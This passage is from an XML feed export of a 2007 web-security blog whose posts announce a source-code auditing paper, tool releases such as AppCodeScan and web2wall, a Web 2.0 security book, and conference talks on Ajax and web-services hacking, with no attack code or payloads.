paper] Dissecting and Digging Application Source Code for Vulnerabilities</title><content type='html'>Application source code scanning for vulnerability detection is an interesting challenge and relatively complex problem as well. There are several security issues which are difficult to identify using blackbox testing and these issues can be identified by using whitebox source code testing methodlogy. Application layer security issues may be residing at logical layer and it is very important to have source code audit done to unearth these categories of bugs. This paper is going to address following areas:&lt;br /&gt;&lt;br /&gt;1. How to build simple rules using method and class signatures to identify possible weak links in the source code.&lt;br /&gt;2. How to do source code walking across the entire source base to perform impact analysis.&lt;br /&gt;3. How to use simple tool like AppCodeScan  or similar utility to perform effective source code analysis to detect possible vulnerability residing in your source base.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=1105"&gt;Read here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7943419735123035041?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7943419735123035041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7943419735123035041'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/12/net-security-paper-dissecting-and.html' title='[net-security paper] Dissecting and Digging Application Source Code for Vulnerabilities'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1204141685106117775</id><published>2007-12-15T03:16:00.000-08:00</published><updated>2007-12-15T03:20:03.946-08:00</updated><title type='text'>Tool Update - AppCodeScan 1.1</title><content type='html'>AppCodeScan 1.1 is posted on the site with following changes&lt;br /&gt;&lt;br /&gt;1. Parsing of code is changed and now tool shows line number where pattern is found in both scanning and code walking functionality.&lt;br /&gt;2. There were some bugs which are fixed to do recursive three layer scanning.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Download from here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thanks for your feedback.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1204141685106117775?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1204141685106117775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1204141685106117775'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/12/tool-update-appcodescan-11.html' title='Tool Update - AppCodeScan 1.1'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1403936264525324746</id><published>2007-12-12T00:08:00.000-08:00</published><updated>2007-12-12T00:12:46.054-08:00</updated><title type='text'>[Book] Web 2.0 Security - Defending AJAX, RIA, AND SOA</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.amazon.com/Web-2-0-Security-Defending-AJAX/dp/1584505508/"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_xyOlmjdroio/R1-XXnroELI/AAAAAAAAAF0/IjR819f_MGo/s200/web2book.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5142995731525144754" /&gt;&lt;/a&gt;SOA, RIA, and Ajax are the backbone behind the now widerspread Web 2.0 applications such as MySpace, GoogleMaps, and Wikipedia. Although these robust tools make next generation web applications possible, they also add new security concerns to the field of web application security. Yamanner, Samy and Spaceflash type worms are exploiting “client-side” Ajax frameworks, providing new avenues of attack and compromising confidential information. Portals like Google, NetFlix, Yahoo and MySpace have witnessed new vulnerabilities in the past. These vulnerabilities can be leveraged by attackers to perform Phishing, Cross-site Scripting (XSS) and Cross-Site Request Forgery (XSRF) exploitation. Web 2.0 Security: Defending Ajax, RIA, and SOA is the book to cover the new field of Web 2.0 security. Written for intermediate-to-advanced security professionals and developers, the book explores Web 2.0 hacking methods and helps in enhancing next generation security controls for better application security posture. Readers will gain knowledge in advanced footprinting and discovery techniques, Web 2.0 scanning and vulnerability detection methods, Ajax and Flash hacking methods, SOAP, REST and XML-RPC hacking, RSS/Atom feed attacks, fuzzing and code review methodologies and tools, tool building with Python, Ruby and .NET, and much, much more. The book includes a companion CD-ROM with tools, demos, samples, code, and images.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Web-2-0-Security-Defending-AJAX/dp/1584505508/"&gt;More on Amazon&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1403936264525324746?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1403936264525324746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1403936264525324746'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/12/book-web-20-security-defending-ajax-ria.html' title='[Book] Web 2.0 Security - Defending AJAX, RIA, AND SOA'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_xyOlmjdroio/R1-XXnroELI/AAAAAAAAAF0/IjR819f_MGo/s72-c/web2book.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-6762399223708139254</id><published>2007-12-04T22:05:00.000-08:00</published><updated>2007-12-04T22:08:44.690-08:00</updated><title type='text'>[Clubhack - Conference] Hacking Web 2.0 Art and Science of Vulnerability Detection</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.clubhack.com/schedule.html"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_xyOlmjdroio/R1ZAUnroEKI/AAAAAAAAAFs/lhdK4nMz7nM/s200/clubhack.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5140366747683524770" /&gt;&lt;/a&gt;&lt;br /&gt;ClubHack - Pune, India.&lt;br /&gt;&lt;br /&gt;Going to talk on following: Web 2.0 applications are on the rise and as Gartner has predicted by end of 2007, 30% of applications would be running with Web 2.0 components embedded in it. This change in scenario would provide various different entry points and security holes for attackers. Hacking Web 2.0 is the most required skill for security professionals to identify vulnerability and associated threat before an attacker exploits it. New attack vectors are on the rise like two way CSRF access, XSS through JSON, JS-Object, XML and Array streams, Client side eval() exploitations, XPATH injection, WSDL scanning, Web Services payloads through SOAP and REST, XML-RPC method exploitation etc. One needs to do both scientific and artistic analysis of application to identify these vulnerabilities and this talk will cover these emerging attack vectors with plenty of demonstrations and tools. You will take home thorough knowledge about Web 2.0 hacking and would be in position to apply at work immediately.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.clubhack.com/schedule.html"&gt;Go to Conference page&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-6762399223708139254?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6762399223708139254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6762399223708139254'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/12/clubhack-conference-hacking-web-20-art.html' title='[Clubhack - Conference] Hacking Web 2.0 Art and Science of Vulnerability Detection'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_xyOlmjdroio/R1ZAUnroEKI/AAAAAAAAAFs/lhdK4nMz7nM/s72-c/clubhack.gif' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8230168630704169457</id><published>2007-11-27T21:47:00.000-08:00</published><updated>2007-11-27T21:49:16.288-08:00</updated><title type='text'>DeepSec - Talk on Ajax Security</title><content type='html'>I had great time at Vienna last week. Did web hacking training and talked on Web 2.0 security. Conference was great and able to learn a lot from other speakers. Here is my talk.&lt;br /&gt;&lt;br /&gt;&lt;div style="width:425px;text-align:left" id="__ss_183493"&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=web-20-application-kungfu-1196221949603308-3"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=web-20-application-kungfu-1196221949603308-3" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;&lt;a href="http://www.slideshare.net/?src=embed"&gt;&lt;img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"/&gt;&lt;/a&gt; | &lt;a href="http://www.slideshare.net/shreeraj/web-20-application-kungfu" title="View 'Web 2.0 Application Kung-Fu - Securing Ajax &amp;amp; Web Services' on SlideShare"&gt;View&lt;/a&gt; | &lt;a href="http://www.slideshare.net/upload"&gt;Upload your own&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8230168630704169457?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8230168630704169457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8230168630704169457'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/11/deepsec-talk-on-ajax-security.html' title='DeepSec - Talk on Ajax Security'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-6517352340173117727</id><published>2007-11-20T10:01:00.000-08:00</published><updated>2007-11-21T09:20:43.142-08:00</updated><title type='text'>OWASP AppSec 2007 - .NET Web Services Hacking</title><content type='html'>AppSec at San-Jose was really fun. I was able to learn some good stuff. I talked on .NET Web Services Hacking. Here is my slide show.&lt;br /&gt;&lt;div style="width:425px;text-align:left" id="__ss_174585"&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=appsec-2007-net-web-services-hacking-1195649639471367-2"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=appsec-2007-net-web-services-hacking-1195649639471367-2" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;&lt;a href="http://www.slideshare.net/?src=embed"&gt;&lt;img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"/&gt;&lt;/a&gt; | &lt;a href="http://www.slideshare.net/shreeraj/appsec-2007-net-web-services-hacking" title="View 'AppSec 2007 - .NET Web Services Hacking' on SlideShare"&gt;View&lt;/a&gt; | &lt;a href="http://www.slideshare.net/upload"&gt;Upload your own&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-6517352340173117727?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6517352340173117727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6517352340173117727'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/11/owasp-appsec-2007-net-web-services.html' title='OWASP AppSec 2007 - .NET Web Services Hacking'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8698484663235295857</id><published>2007-10-31T00:11:00.000-07:00</published><updated>2007-10-31T03:17:47.466-07:00</updated><title type='text'>OWASP - .NET Web Services Hacking</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/Agenda"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_xyOlmjdroio/RygrBwS2n1I/AAAAAAAAAEQ/QrCDO5Yicpk/s200/owasp.jpg" alt="" id="BLOGGER_PHOTO_ID_5127395484905152338" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;  .Net Web Services Hacking - Scan, Attacks and Defense&lt;br /&gt;&lt;/span&gt;Following topics will be covered.&lt;br /&gt;1. Web Services Discovery strategies in Web 2.0 applications&lt;br /&gt;2. Scanning and profiling Web Services.&lt;br /&gt;3. Attacking and Fuzzing Web Services for Vulnerability detection&lt;br /&gt;4. Defense strategies for Web Services with content filtering  (HTTPModule) - Web Services Firewall&lt;br /&gt;&lt;br /&gt;Some of the content will be covered from my books - &lt;a href="http://www.amazon.com/Hacking-Services-Internet-Shreeraj-Shah/dp/1584504803/"&gt;Hacking Web Services&lt;/a&gt; and &lt;a href="http://www.amazon.com/Web-2-0-Security-Defending-AJAX/dp/1584505508/"&gt;Web 2.0 Security - Defending Ajax, RIA and SOA&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Look forward to see OWASP and WASC folks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8698484663235295857?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8698484663235295857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8698484663235295857'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/10/owasp-net-web-services-hacking.html' title='OWASP - .NET Web Services Hacking'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_xyOlmjdroio/RygrBwS2n1I/AAAAAAAAAEQ/QrCDO5Yicpk/s72-c/owasp.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7491712910886627822</id><published>2007-10-15T23:38:00.000-07:00</published><updated>2007-10-15T23:40:01.743-07:00</updated><title type='text'>web2wall :  Web Application/Services Firewall - IHTTPModule for Web 2.0 application</title><content type='html'>Microsoft‘s .Net framework includes two interfaces - IHTTPModule and IHTTPHandler. These two interfaces can be leveraged to provide application-level defense customized to application-level, folder-level or variable-level. This can act as the first line of defense, before any incoming request touches the Web application source code level. This is Web application defense at the gates, for the .Net framework on IIS.&lt;br /&gt;&lt;br /&gt;Web2wall is a simple binary module which can be loaded in your Web 2.0 applications. You can defend your application layer code by using regex patterns; this can help in filtering XML and JSON streams. This tool is in beta and more features will be added with time. We will resolve bugs to make the module much more robust.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7491712910886627822?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7491712910886627822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7491712910886627822'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/10/web2wall-web-applicationservices.html' title='web2wall :  Web Application/Services Firewall - IHTTPModule for Web 2.0 application'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7717222756364930915</id><published>2007-10-06T05:03:00.000-07:00</published><updated>2007-10-15T23:41:20.992-07:00</updated><title type='text'>AppCodeScan - Application Code Scanning tool</title><content type='html'>This tool is designed to help in performing whitebox testing. During whitebox testing one needs to scan complete application code for various different vulnerabilities like XSS, SQL injection, Poor validations etc. It is possible to discover these vulnerable points using this tool and one can follow code walking across the code base to trace this vulnerability.This tool works on following two areas:&lt;br /&gt;&lt;br /&gt;Code Scanning - One needs to feed target code folder, rules pattern in regex (sample is provided for ASP) and list of file extension to scan. The tool will take this information and run against the target folder with depth of three (3) and scan each line for matching pattern. If pattern is found then it will report that line in the tool.&lt;br /&gt;Code Walker - This little utility would help in walking across the code base and find variable or function. This will help to trace variables and their entire path in the large code base. This utility would help in negating false positives from the identified pattern.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This tool runs on .NET framework and still in initial beta state. We are working on it and more features will be added.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Download and Play&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7717222756364930915?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7717222756364930915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7717222756364930915'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/10/appcodescan-application-code-scanning.html' title='AppCodeScan - Application Code Scanning tool'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3188757802147948065</id><published>2007-10-02T08:55:00.000-07:00</published><updated>2007-10-02T09:00:14.877-07:00</updated><title type='text'>[Dubai-ISACA] I-SAFE Information Governance in this e- World</title><content type='html'>Speaking on - EMERGING TECHNOLOGIES: Web 2.0 on the rise and related technologies,strategies and security&lt;br /&gt;&lt;br /&gt;This presentation is going to cover all aspects of emerging technologies in detail with real life cases and demonstrations. Following which, the session will explore security issues growing around these vectors and threats associated with it. Professionals will be able to collect enough know-how on emerging web technologies to apply this learning to their work place.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.isacauae.org/isacaorg/NoticeContent.aspx?code=25"&gt;Read More&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3188757802147948065?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3188757802147948065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3188757802147948065'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/10/dubai-isaca-i-safe-information.html' title='[Dubai-ISACA] I-SAFE Information Governance in this e- World'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8351920687547037435</id><published>2007-09-24T05:59:00.001-07:00</published><updated>2007-10-02T08:07:11.077-07:00</updated><title type='text'>Tools are posted</title><content type='html'>Hi, I have posted following tools on the site&lt;br /&gt;&lt;br /&gt;1. wsScanner - Web Services Footprinting, Discovery, Enumeration, Scanning and Fuzzing tool&lt;br /&gt;2. scanweb2.0 - Web 2.0 Fingerprinting, Scanning and Discovery tools (Ruby scripts)&lt;br /&gt;3. AppMap - Application footprinting and mapping tool using MSN APIs&lt;br /&gt;&lt;br /&gt;It should help in assessment and audit.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Download from Blueinfy&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.blueinfy.com/img/logo-small.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 152px; height: 44px;" src="http://www.blueinfy.com/img/logo-small.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_xyOlmjdroio/Rve10rPkE8I/AAAAAAAAAD8/pHYxvrFnN7s/s1600-h/logo-small.jpg"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8351920687547037435?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8351920687547037435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8351920687547037435'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/09/tools-are-posted_24.html' title='Tools are posted'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7331717822128317074</id><published>2007-09-14T22:01:00.000-07:00</published><updated>2007-09-14T22:10:15.393-07:00</updated><title type='text'>HITB 2007 - Follow up...</title><content type='html'>HITB 2007 was great this time around as well. Both class and talk went really well. Speakers were good and was able to learn new stuff. All material is posted &lt;a href="http://conference.hitb.org/hitbsecconf2007kl/materials/"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I presented on Web 2.0 hacking, keeping focus on Ajax and Web Services. Added some new demos for better understanding. Presentation movie is not yet posted. Following is my presentation.&lt;br /&gt;&lt;br /&gt;&lt;object type="application/x-shockwave-flash" data="http://s3.amazonaws.com/slideshare/ssplayer.swf?id=105450&amp;amp;doc=hacking-ajax-web-services-next-generation-web-attacks-on-the-rise1019" height="348" width="425"&gt;&lt;param name="movie" value="http://s3.amazonaws.com/slideshare/ssplayer.swf?id=105450&amp;amp;doc=hacking-ajax-web-services-next-generation-web-attacks-on-the-rise1019"&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;You can download slides from &lt;a href="http://conference.hitb.org/hitbsecconf2007kl/materials/D2T1%20-%20Shreeraj%20Shah%20-%20%20Hacking%20Ajax%20and%20Web%20Services%20%e2%80%93%20Next%20Generation%20Web%20Attacks%20on%20the%20Rise.pdf"&gt;here&lt;/a&gt;&lt;br /&gt;If you have any question feel free to drop me a note at shreeraj.shah@gmail.com&lt;br /&gt;&lt;br /&gt;Enjoy...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7331717822128317074?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7331717822128317074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7331717822128317074'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/09/hitb-2007-follow-up.html' title='HITB 2007 - Follow up...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8538502261878310202</id><published>2007-08-09T21:17:00.000-07:00</published><updated>2007-08-09T21:23:44.320-07:00</updated><title type='text'>HITB 2007 - Class and Talk</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://conference.hackinthebox.org/HITBSECCONF2007KLSITE.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://conference.hackinthebox.org/HITBSECCONF2007KLSITE.jpg" alt="" border="0" /&gt;&lt;/a&gt;Training - Advanced Web Application &amp;amp; Services Hacking [&lt;a href="http://conference.hackinthebox.org/hitbsecconf2007kl/?page_id=84"&gt;Here&lt;/a&gt;]&lt;br /&gt;Speaking - Hacking Ajax and Web Services – Next Generation Web Attacks on the Rise [&lt;a href="http://conference.hackinthebox.org/hitbsecconf2007kl/?page_id=81"&gt;Here&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt; WEB 2.0 technologies for the Web application layer are still evolving. This framework consists of Web services, AJAX and SOAP/XML and while still evolving has thrown up new attack vectors. To combat the attacks one needs to understand the new methodology, tools and strategies. This presentation reveals emerging security threats, some of which will be demonstrated. &lt;/p&gt;  &lt;p align="justify"&gt;Logical evolution of Web applications has reached a new level with the introduction of WEB 2.0. WEB 2.0 is the combination of new technologies like Web services, AJAX and SOAP. It is important to understand this framework and the fundamentals, before looking at security threats. Ajax is becoming integral part of these new applications and its serialization aspect opens up new ways of hacking browser side application which can lead to XSS and XSRF. &lt;/p&gt;  &lt;p align="justify"&gt;Comprehending XML-based attack vectors LDAP/SQL injections, SOAP messaging attacks, AJAX and Web profiling. These shall be covered along with demonstration examples. Web services are the backbone of WEB 2.0 and it is important to understand security threats.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8538502261878310202?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8538502261878310202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8538502261878310202'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/08/hitb-2007-class-and-talk.html' title='HITB 2007 - Class and Talk'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2624588696688836097</id><published>2007-08-01T21:14:00.000-07:00</published><updated>2007-08-09T21:17:06.447-07:00</updated><title type='text'>Change in contcat info...</title><content type='html'>Friends, Please kindly note my new email address and make changes to your address books. You can reach me at following email addresses.&lt;br /&gt;&lt;br /&gt;shreeraj.shah_at_gmail.com&lt;br /&gt;shreeraj_at_blueinfy.com&lt;br /&gt;&lt;br /&gt;Thanks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2624588696688836097?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2624588696688836097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2624588696688836097'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/08/change-in-contcat-info.html' title='Change in contcat info...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-6844525829736885035</id><published>2007-06-12T21:12:00.000-07:00</published><updated>2007-06-12T21:15:31.853-07:00</updated><title type='text'>[DevX] Secure Your Wireless Networks with Scapy Packet Manipulation</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.devx.com/security/Article/34741/"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px;" src="http://assets.devx.com/articleicons/5240.gif" alt="" border="0" /&gt;&lt;/a&gt; &lt;br /&gt;With wireless networks beginning to dominate both home and corporate networking, new challenges on the security front are inevitable. The first step in securing a wireless network is determining the state of the network (without any prior knowledge) and then providing a defense against intrusions. Enter Scapy, an excellent packet-crafting tool written in Python by Philippe Biondi. Unlike other sniffers such as Kismet and Airodump-ng, Scapy is scriptable and extremely easy to use.&lt;br /&gt;&lt;br /&gt;This article outlines a methodology for wireless network assessment and intrusion detection using proven techniques with tools such as Scapy. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.devx.com/security/Article/34741/"&gt;Read Here&lt;/a&gt;&lt;div 